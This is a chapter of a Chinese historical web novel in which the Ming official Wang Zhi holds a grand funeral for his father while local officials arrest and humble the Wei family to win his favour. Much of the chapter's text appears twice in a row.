汪直看着王镇,心中很是感动,当初自己父子离乡,大伯将家里仅有的一些钱财全都拿了出来,这一点汪直一直都是知道的。 “人的命,天注定,大伯不必太过悲伤,当下之急,是为我爹立个衣冠冢,此事要大办,要让这十里八乡的都知道。” 汪直说道。 “对,要大办,为你爹风光大葬,这是我来操办,还有那魏家,当初就是他们逼走了你们父子,如果不是魏家,你爹也不会如此。” 王镇咬牙切齿道。 汪直听到这话,顿时一脸冷笑。 “大伯放心吧,魏家的人,一个都跑不了。” 第387章 葬礼,汪直的安排 实际上魏家之人,根本就不需要汪直动手。 徽州知府前来为汪直接风洗尘,自然是了解了王家和魏家之间过往的恩怨的,也清楚当初汪直父子为何远走他乡。 汪直从官驿和徽州知府等人告辞之后,徽州知府就看向了歙县的县令。 “陈大人,那魏家和王大人之间的恩怨,想必你应该也是清楚的,王大人为大明驻守东瀛,居功至伟,我等可不能让王大人寒了心啊。” 徽州知府这话,是对歙县县令的敲打,徽州知府,亦或是在场的大多数官员,心中都很清楚,像魏正先这等商人,不说在歙县数一数二,但前十之列肯定是有他的。 歙县本就是个小地方,家产超过十万两白银的家族少之又少,像魏正先这种人,在歙县能赚到这么多钱,肯定没少孝敬歙县的县令。 对于这一点,在场的官员都心知肚明。 但官场上,很多事也有轻重缓急,钱你可以拿,但不可能因为一个商人得罪汪直这等朝廷大员,特别是这等大员还是皇帝异常看重的。 虽说汪直对他们而言,没什么职务上的影响,他们办不办魏家并不会太过影响什么。 但这一切都建立在嘉靖没有特意吩咐的前提下。 现如今的情况是,嘉靖为了汪直,特意下了一道旨意,这让徽州知府等人意识到,以后想要仕途一帆风顺,一定要处理好这位王大人的事务。 否则恐怕升迁无望了。 毕竟朝中那么多官员,无数官员在地方上可能一熬就是一辈子,很多官员甚至被朝中的那些大佬遗忘了,或者根本就没进入皇帝的视线。 现在他们这些人好不容易因为汪直进入了嘉靖的视线,如果不趁着这个机会好好表现一番,那简直是蠢透了。 特别是徽州知府,他在徽州已经当了好几年的知府了,一直想着往上挪一挪,但再往上,他却是没什么靠山了,想要再往上挪一挪,谈何容易? 现如今好不容易有机会进入皇帝的视线,徽州知府决不允许任何人坏了他的事,因此才特意警告歙县县令。 很多县令和知府不同,大明的县令太多了,很多人直接开始摆烂,能捞钱就捞钱,对升迁已经不抱期望了。 歙县县令听到这话,哪里不明白什么意思。 “大人放心,下官这就带人去魏家拿人,那魏正先欺男霸女,魏家的嫡子也不是什么好东西,几年前错手打死过人,当时本官出于歙县稳定的因素考虑,就没有重判他们,只要那家人旧事重提,可以再次重审此案。” 县令低声对知府说道。 这话到头了,也算是歙县县令对徽州知府纳的投名状,相当于明着告诉知府,之前魏家存在很多问题,抓他们完全有足够的理由,但之前他们用钱摆平了,至于用钱摆平了谁,那就显而易见了。 县令听了知府的命令,宁愿自揭伤疤,也要配合知府,知府哪里还不把他当自己人?将来知府一旦升迁了,定会顺手提拔一下歙县县令。 这就是政治智慧。 知府听到这话,不置可否的点了点头。 县令看到知府点头,心中顿时有了底,直接带着一众衙役直奔魏家而去了。 魏家,魏舒儿得到消息之后,火急火燎的回到家中。 “爹,那王直当真成了都指挥使了?” 魏舒儿满脸不甘心道。 刚听到这个消息的时候,魏舒儿情绪无比复杂,悔恨,懊恼,害怕,不甘,无数情绪涌上心头,对魏舒儿而言,当初她倘若没有退婚的话,现在恐怕已经是将军夫人了。 这让她如何能够甘心? 魏舒儿内心甚至有些怨恨魏正先,她觉得当年要不是自己的爹坚持退婚,自己和王直岂不是修成正果了? “那还能有假?叫你过来,就是让你陪为父一起,去王家谢罪,祈求王大人的谅解。” 魏正先满脸焦急道。 魏舒儿听到这话,深吸了一口气,将心中的情绪压了下去。 “我不去,要去爹你去,当年我还年幼,退婚是你一人的主意,为何怪罪在我身上?” 魏舒儿本就不是什么知书达理之人,她自小就自私自利,心眼极小,她自然不想跟着魏正先一起去王家。 “胡闹!都什么时候了?今天你去也得去,不去也得去,否则我们魏家就完蛋了。” 魏正先怒斥道。 魏正先以前做过的事,一旦被深究起来,不死也脱层皮,更何况魏舒儿的大哥,魏家的嫡子,前两年打死了人,县令说的错手打死人,不过是为他自己粉饰罢了。 这要是追究起来,魏家算是彻底完蛋了。 对于魏舒儿的不识大体,魏正先极为愤怒。 “魏家完蛋关我什么事?我早已嫁人,不再是魏家之人。” 魏舒儿一脸愤怒道。 啪! 魏正先一巴掌狠狠地扇在了魏舒儿脸上。 “放肆!你以为你逃得掉?别说是你,到时候你那婆家都会被你连累死。” 魏正先满脸的怒其不争道。 正当魏正先父女争执不下之时,歙县的县令带着衙役已经到了魏家。 “你们爷俩不必争了,随本官走一趟吧,来人,把魏家的人都抓起来,一个都不能放跑。” 县令高声道。 魏正先听到这话,脸色变得极为难看。 “大人,在下这些年没少孝敬大人,大人现在卸磨杀驴,就不怕.....” 魏正先说话说一半,不过话里的意思已经很明显了,他这是在威胁县令,倘若自己被抓,一定会把县令也供出去。 不过这种话自然不能说尽,毕竟魏正先只是一个商人,真要是明晃晃的威胁县令,他还没那个胆子。 “你是在威胁本官吗?” 县令看着魏正先,冷笑道。 “不敢,只求大人网开一面,让在下去向王大人请罪。” 魏正先躬身行礼道。 “就你做的那些事,你觉得请罪有用吗?” 县令瞥了一眼魏正先,满脸不屑道。 “实话告诉你,如今整个徽州府,最大的事就是王大人的事,你就是说破大天去,本官也不会有一点事,别说在这歙县了,即便是去徽州府,去南直隶,本官也丝毫不惧。” 歙县县令底气十足道。 他自然是有底气的,毕竟抓魏正先是知府大人的命令,为了这件事,县令已经事先将自己的实底交了出去,自然不怕魏正先乱说。 实际上县令很清楚,魏正先根本没有说话的机会,所以丝毫不怕。 魏正先听到这话,瞬间一脸的破败,县令既然把话说到这个份上,说明他说什么都没用了。 很快,那些捕快将魏家之人尽数抓了起来。 王家最近几日最大的事,就是为汪直的爹立衣冠冢,汪直给了他大伯王镇上万两银子,让王镇主持这场葬礼。 汪直一定要把自己的爹厚葬,一来是为了光宗耀祖,昭告歙县的父老乡亲,自己回来了,二来则是为了将自己的父亲葬一个风水宝地,福荫子孙。 有汪直在,王镇办事基本上一路绿灯,想买那块地,没人敢抬价,很快王家就选择了一处风水宝地,准备将汪直爹的坟立在此处。 王家举行葬礼这天,整个歙县大大小小有头有脸的,都来吊唁了,甚至连徽州府知府,以及徽州府的一众官员,全都来参加葬礼了。 这让歙县的百姓直观的感受到了如今汪直的权势。 “王大人节哀,人死不能复生。” 知府来到汪直面前,说道。 “多谢知府大人。” 汪直回礼道。 知府冲着县令使了个眼色,县令瞬间会意,让人将魏正先以及魏舒儿五花大绑的带了过来,让两人跪在坟前。 “王大人,本官自作主张,将魏家之人都抓了起来,这魏家之人恶贯满盈,魏正先欺男霸女,罪该万死。” 知府看着汪直,行礼道。 “大人,小的知错了,求大人把小的当个屁放了吧。” 魏正先此时被反绑着,却也不管不顾了,直接以头抢地,周围的地面都被王家铺上了青石砖,魏正先头都磕出了血,只求汪直能够原谅他。 魏正先很清楚,只要眼前的汪直原谅了自己,那么一切都不是问题,否则魏家无论如何都要完蛋,包括他自己。 汪直冷眼看着魏正先这副做派,冷笑不已。 “做错了事,就要付出代价。” 说完这话,汪直转身看向一旁的知府。 “本官承了知府大人这个情,以后若有机会,定会为大人在陛下和周大人面前美言几句。” 汪直自然知道眼前的知府做这些是为了什么,不过汪直不在乎,只要能替自己的爹报仇,汪直愿意豁出去自己的脸面,为眼前的知府说上几句话。 知府听到这话,内心狂喜,他做这些,不就是为了这句话嘛。 “多谢大人。” 知府躬身行礼道。 “大人,这魏家之人该如何处置,还请大人定夺。” 知府神情有些谄媚道。 “你们定就行了,今日我只想为我爹举行葬礼。” 汪直说着不再看魏正先父女,也不再去看知府等一众官员。 知府听到这话,顿时明白了汪直的意思。 魏家的人一定是要处理的,而且要往狠了处理,但不能脏了王大人的手,那么这件事就只能自己来办。 “把他们都带下去吧,别脏了大人的眼。” 知府看着县令,说道。 对于知府和县令的对话,汪直置若罔闻,他来到坟前,跪倒在地。 “爹,当年您让孩儿一定要出人头地,光宗耀祖,如今孩儿做到了。” 汪直说着眼泪止不住地流了下来,一旁的王镇等人,也跟着失声痛哭。 其中王镇是情真意切,其他的王家旁支之人,大多是半真半假,伤心肯定是有一些的,但要说多伤心,那倒也没有,更多的是高兴,高兴王家出了个大人物,他们恐怕也会跟着鸡犬升天了。 葬礼的礼节很是繁冗,不过无论是汪直,亦或是王家之人,都没有任何不耐烦,因为他们都明白,葬礼越是繁冗,越是能代表王家如今的地位。 寻常百姓家的葬礼想繁冗都繁冗不起来。 葬礼结束之后,汪直将王镇父子叫到自己家,汪直虽然离家十多年,但他原本的老宅并没有就此荒废,王镇一直替他们打理着。 光是这一点,汪直就对自己这个大伯无比感激,要知道当年他们父子离乡的时候,大伯几乎将他们家所剩不多的钱财全都给了他们父子。 这十多年,王镇肯定遇到过难的时候,即便如此,王镇也从未想过卖掉汪直家里的老宅。 这让汪直如何不感动? “大伯,这是十万两,你先拿着,买些铺子庄子。” 汪直说着拿出一沓皇家钱庄的银票,放在王镇面前。 汪直的白银,大多数都存在了皇家钱庄之中,只有少数装在箱子里,一路上拉了回来,之所以拉这些白银,为的就是招摇过市,让歙县的父老乡亲看看如今的自己发达了。 正所谓富贵不还乡,如锦衣夜行,汪直毕竟年轻,又怎么会放过这等人前显圣的机会。 “这.....这太多了,你怎么会有这么多钱?” 王镇满脸担忧道。 他真怕自己的这个侄子一时糊涂,因为钱财坏了前程。 汪直自然看出了自己大伯的担忧。 “大伯无需担忧,这点钱不算什么,我在东瀛之时,为朝廷赚了不知道多少钱,那些白银一船一船的运往大明,我拿的这些,陛下是知道的。” 汪直可不认为自己拿的这些钱财能瞒得过皇帝。 王镇听到这话,顿时松了口气。 “这些太多了,置办家产,要不了这么多,以你如今的权势,不用两万两,就能把当年我们王家的家产全部买回来。” 王镇说道。 “不止要买回当年的家产,还要再买一些,有我在,我们王家就要做歙县的独一份。” 汪直意气风发道。 “好,我来办。” 王镇听到这话,不再推辞。 “回头让大哥跟我走吧,在这歙县没什么意思,跟我去东瀛,混混军功,将来混个千总不成问题。” 汪直看向王镇父子,说道。 王镇听到这话,眼睛顿时亮了。 实际上魏家之人,根本就不需要汪直动手。 徽州知府前来为汪直接风洗尘,自然是了解了王家和魏家之间过往的恩怨的,也清楚当初汪直父子为何远走他乡。 汪直从官驿和徽州知府等人告辞之后,徽州知府就看向了歙县的县令。 “陈大人,那魏家和王大人之间的恩怨,想必你应该也是清楚的,王大人为大明驻守东瀛,居功至伟,我等可不能让王大人寒了心啊。” 徽州知府这话,是对歙县县令的敲打,徽州知府,亦或是在场的大多数官员,心中都很清楚,像魏正先这等商人,不说在歙县数一数二,但前十之列肯定是有他的。 歙县本就是个小地方,家产超过十万两白银的家族少之又少,像魏正先这种人,在歙县能赚到这么多钱,肯定没少孝敬歙县的县令。 对于这一点,在场的官员都心知肚明。 但官场上,很多事也有轻重缓急,钱你可以拿,但不可能因为一个商人得罪汪直这等朝廷大员,特别是这等大员还是皇帝异常看重的。 虽说汪直对他们而言,没什么职务上的影响,他们办不办魏家并不会太过影响什么。 但这一切都建立在嘉靖没有特意吩咐的前提下。 现如今的情况是,嘉靖为了汪直,特意下了一道旨意,这让徽州知府等人意识到,以后想要仕途一帆风顺,一定要处理好这位王大人的事务。 否则恐怕升迁无望了。 毕竟朝中那么多官员,无数官员在地方上可能一熬就是一辈子,很多官员甚至被朝中的那些大佬遗忘了,或者根本就没进入皇帝的视线。 现在他们这些人好不容易因为汪直进入了嘉靖的视线,如果不趁着这个机会好好表现一番,那简直是蠢透了。 特别是徽州知府,他在徽州已经当了好几年的知府了,一直想着往上挪一挪,但再往上,他却是没什么靠山了,想要再往上挪一挪,谈何容易? 现如今好不容易有机会进入皇帝的视线,徽州知府决不允许任何人坏了他的事,因此才特意警告歙县县令。 很多县令和知府不同,大明的县令太多了,很多人直接开始摆烂,能捞钱就捞钱,对升迁已经不抱期望了。 歙县县令听到这话,哪里不明白什么意思。 “大人放心,下官这就带人去魏家拿人,那魏正先欺男霸女,魏家的嫡子也不是什么好东西,几年前错手打死过人,当时本官出于歙县稳定的因素考虑,就没有重判他们,只要那家人旧事重提,可以再次重审此案。” 县令低声对知府说道。 这话到头了,也算是歙县县令对徽州知府纳的投名状,相当于明着告诉知府,之前魏家存在很多问题,抓他们完全有足够的理由,但之前他们用钱摆平了,至于用钱摆平了谁,那就显而易见了。 县令听了知府的命令,宁愿自揭伤疤,也要配合知府,知府哪里还不把他当自己人?将来知府一旦升迁了,定会顺手提拔一下歙县县令。 这就是政治智慧。 知府听到这话,不置可否的点了点头。 县令看到知府点头,心中顿时有了底,直接带着一众衙役直奔魏家而去了。 魏家,魏舒儿得到消息之后,火急火燎的回到家中。 “爹,那王直当真成了都指挥使了?” 魏舒儿满脸不甘心道。 刚听到这个消息的时候,魏舒儿情绪无比复杂,悔恨,懊恼,害怕,不甘,无数情绪涌上心头,对魏舒儿而言,当初她倘若没有退婚的话,现在恐怕已经是将军夫人了。 这让她如何能够甘心? 魏舒儿内心甚至有些怨恨魏正先,她觉得当年要不是自己的爹坚持退婚,自己和王直岂不是修成正果了? “那还能有假?叫你过来,就是让你陪为父一起,去王家谢罪,祈求王大人的谅解。” 魏正先满脸焦急道。 魏舒儿听到这话,深吸了一口气,将心中的情绪压了下去。 “我不去,要去爹你去,当年我还年幼,退婚是你一人的主意,为何怪罪在我身上?” 魏舒儿本就不是什么知书达理之人,她自小就自私自利,心眼极小,她自然不想跟着魏正先一起去王家。 “胡闹!都什么时候了?今天你去也得去,不去也得去,否则我们魏家就完蛋了。” 魏正先怒斥道。 魏正先以前做过的事,一旦被深究起来,不死也脱层皮,更何况魏舒儿的大哥,魏家的嫡子,前两年打死了人,县令说的错手打死人,不过是为他自己粉饰罢了。 这要是追究起来,魏家算是彻底完蛋了。 对于魏舒儿的不识大体,魏正先极为愤怒。 “魏家完蛋关我什么事?我早已嫁人,不再是魏家之人。” 魏舒儿一脸愤怒道。 啪! 魏正先一巴掌狠狠地扇在了魏舒儿脸上。 “放肆!你以为你逃得掉?别说是你,到时候你那婆家都会被你连累死。” 魏正先满脸的怒其不争道。 正当魏正先父女争执不下之时,歙县的县令带着衙役已经到了魏家。 “你们爷俩不必争了,随本官走一趟吧,来人,把魏家的人都抓起来,一个都不能放跑。” 县令高声道。 魏正先听到这话,脸色变得极为难看。 “大人,在下这些年没少孝敬大人,大人现在卸磨杀驴,就不怕.....” 魏正先说话说一半,不过话里的意思已经很明显了,他这是在威胁县令,倘若自己被抓,一定会把县令也供出去。 不过这种话自然不能说尽,毕竟魏正先只是一个商人,真要是明晃晃的威胁县令,他还没那个胆子。 “你是在威胁本官吗?” 县令看着魏正先,冷笑道。 “不敢,只求大人网开一面,让在下去向王大人请罪。” 魏正先躬身行礼道。 “就你做的那些事,你觉得请罪有用吗?” 县令瞥了一眼魏正先,满脸不屑道。 “实话告诉你,如今整个徽州府,最大的事就是王大人的事,你就是说破大天去,本官也不会有一点事,别说在这歙县了,即便是去徽州府,去南直隶,本官也丝毫不惧。” 歙县县令底气十足道。 他自然是有底气的,毕竟抓魏正先是知府大人的命令,为了这件事,县令已经事先将自己的实底交了出去,自然不怕魏正先乱说。 实际上县令很清楚,魏正先根本没有说话的机会,所以丝毫不怕。 魏正先听到这话,瞬间一脸的破败,县令既然把话说到这个份上,说明他说什么都没用了。 很快,那些捕快将魏家之人尽数抓了起来。 王家最近几日最大的事,就是为汪直的爹立衣冠冢,汪直给了他大伯王镇上万两银子,让王镇主持这场葬礼。 汪直一定要把自己的爹厚葬,一来是为了光宗耀祖,昭告歙县的父老乡亲,自己回来了,二来则是为了将自己的父亲葬一个风水宝地,福荫子孙。 有汪直在,王镇办事基本上一路绿灯,想买那块地,没人敢抬价,很快王家就选择了一处风水宝地,准备将汪直爹的坟立在此处。 王家举行葬礼这天,整个歙县大大小小有头有脸的,都来吊唁了,甚至连徽州府知府,以及徽州府的一众官员,全都来参加葬礼了。 这让歙县的百姓直观的感受到了如今汪直的权势。 “王大人节哀,人死不能复生。” 知府来到汪直面前,说道。 “多谢知府大人。” 汪直回礼道。 知府冲着县令使了个眼色,县令瞬间会意,让人将魏正先以及魏舒儿五花大绑的带了过来,让两人跪在坟前。 “王大人,本官自作主张,将魏家之人都抓了起来,这魏家之人恶贯满盈,魏正先欺男霸女,罪该万死。” 知府看着汪直,行礼道。 “大人,小的知错了,求大人把小的当个屁放了吧。” 魏正先此时被反绑着,却也不管不顾了,直接以头抢地,周围的地面都被王家铺上了青石砖,魏正先头都磕出了血,只求汪直能够原谅他。 魏正先很清楚,只要眼前的汪直原谅了自己,那么一切都不是问题,否则魏家无论如何都要完蛋,包括他自己。 汪直冷眼看着魏正先这副做派,冷笑不已。 “做错了事,就要付出代价。” 说完这话,汪直转身看向一旁的知府。 “本官承了知府大人这个情,以后若有机会,定会为大人在陛下和周大人面前美言几句。” 汪直自然知道眼前的知府做这些是为了什么,不过汪直不在乎,只要能替自己的爹报仇,汪直愿意豁出去自己的脸面,为眼前的知府说上几句话。 知府听到这话,内心狂喜,他做这些,不就是为了这句话嘛。 “多谢大人。” 知府躬身行礼道。 “大人,这魏家之人该如何处置,还请大人定夺。” 知府神情有些谄媚道。 “你们定就行了,今日我只想为我爹举行葬礼。” 汪直说着不再看魏正先父女,也不再去看知府等一众官员。 知府听到这话,顿时明白了汪直的意思。 魏家的人一定是要处理的,而且要往狠了处理,但不能脏了王大人的手,那么这件事就只能自己来办。 “把他们都带下去吧,别脏了大人的眼。” 知府看着县令,说道。 对于知府和县令的对话,汪直置若罔闻,他来到坟前,跪倒在地。 “爹,当年您让孩儿一定要出人头地,光宗耀祖,如今孩儿做到了。” 汪直说着眼泪止不住地流了下来,一旁的王镇等人,也跟着失声痛哭。 其中王镇是情真意切,其他的王家旁支之人,大多是半真半假,伤心肯定是有一些的,但要说多伤心,那倒也没有,更多的是高兴,高兴王家出了个大人物,他们恐怕也会跟着鸡犬升天了。 葬礼的礼节很是繁冗,不过无论是汪直,亦或是王家之人,都没有任何不耐烦,因为他们都明白,葬礼越是繁冗,越是能代表王家如今的地位。 寻常百姓家的葬礼想繁冗都繁冗不起来。 葬礼结束之后,汪直将王镇父子叫到自己家,汪直虽然离家十多年,但他原本的老宅并没有就此荒废,王镇一直替他们打理着。 光是这一点,汪直就对自己这个大伯无比感激,要知道当年他们父子离乡的时候,大伯几乎将他们家所剩不多的钱财全都给了他们父子。 这十多年,王镇肯定遇到过难的时候,即便如此,王镇也从未想过卖掉汪直家里的老宅。 这让汪直如何不感动? “大伯,这是十万两,你先拿着,买些铺子庄子。” 汪直说着拿出一沓皇家钱庄的银票,放在王镇面前。 汪直的白银,大多数都存在了皇家钱庄之中,只有少数装在箱子里,一路上拉了回来,之所以拉这些白银,为的就是招摇过市,让歙县的父老乡亲看看如今的自己发达了。 正所谓富贵不还乡,如锦衣夜行,汪直毕竟年轻,又怎么会放过这等人前显圣的机会。 “这.....这太多了,你怎么会有这么多钱?” 王镇满脸担忧道。 他真怕自己的这个侄子一时糊涂,因为钱财坏了前程。 汪直自然看出了自己大伯的担忧。 “大伯无需担忧,这点钱不算什么,我在东瀛之时,为朝廷赚了不知道多少钱,那些白银一船一船的运往大明,我拿的这些,陛下是知道的。” 汪直可不认为自己拿的这些钱财能瞒得过皇帝。 王镇听到这话,顿时松了口气。 “这些太多了,置办家产,要不了这么多,以你如今的权势,不用两万两,就能把当年我们王家的家产全部买回来。” 王镇说道。 “不止要买回当年的家产,还要再买一些,有我在,我们王家就要做歙县的独一份。” 汪直意气风发道。 “好,我来办。” 王镇听到这话,不再推辞。 “回头让大哥跟我走吧,在这歙县没什么意思,跟我去东瀛,混混军功,将来混个千总不成问题。” 汪直看向王镇父子,说道。 王镇听到这话,眼睛顿时亮了。